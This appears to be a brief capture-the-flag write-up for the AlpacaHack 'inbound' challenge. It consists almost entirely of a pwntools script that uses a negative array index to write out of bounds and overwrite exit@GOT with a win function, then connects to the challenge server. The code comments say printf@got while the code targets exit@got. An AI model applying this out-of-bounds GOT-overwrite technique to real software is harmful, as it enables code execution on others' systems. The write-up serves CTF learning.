AlpacaHack inbound Writeup (負の数の取り扱い)

Copy

from pwn import *

context.binary = "./inbound"
elf = ELF("./inbound")

slot_addr = 0x404060
win_addr = 0x4011d6
printf_addr = elf.got["printf"]
exit_addr = elf.got["exit"]
slot_exit_offset = (exit_addr - slot_addr) // 4 # divide with the size of int

print("offset:", slot_exit_offset)

remote_flag = True
if remote_flag:
    host = "34.170.146.252"
    port = 44002
    sh = remote(host, port)
else:
    context.terminal = ["tmux", "splitw", "-h"]
    sh = process("./inbound")
    gdb.attach(sh, """
break *main+218
c
""")
    
prompt = sh.recvuntil("index:".encode())
print(prompt.decode())

# send offset from slot to printf@got
sh.sendline(str(slot_exit_offset).encode())

prompt = sh.recvuntil("value:".encode())
print(prompt.decode())

# overwrite printf@got to win
sh.sendline(str(win_addr).encode())

sh.interactive()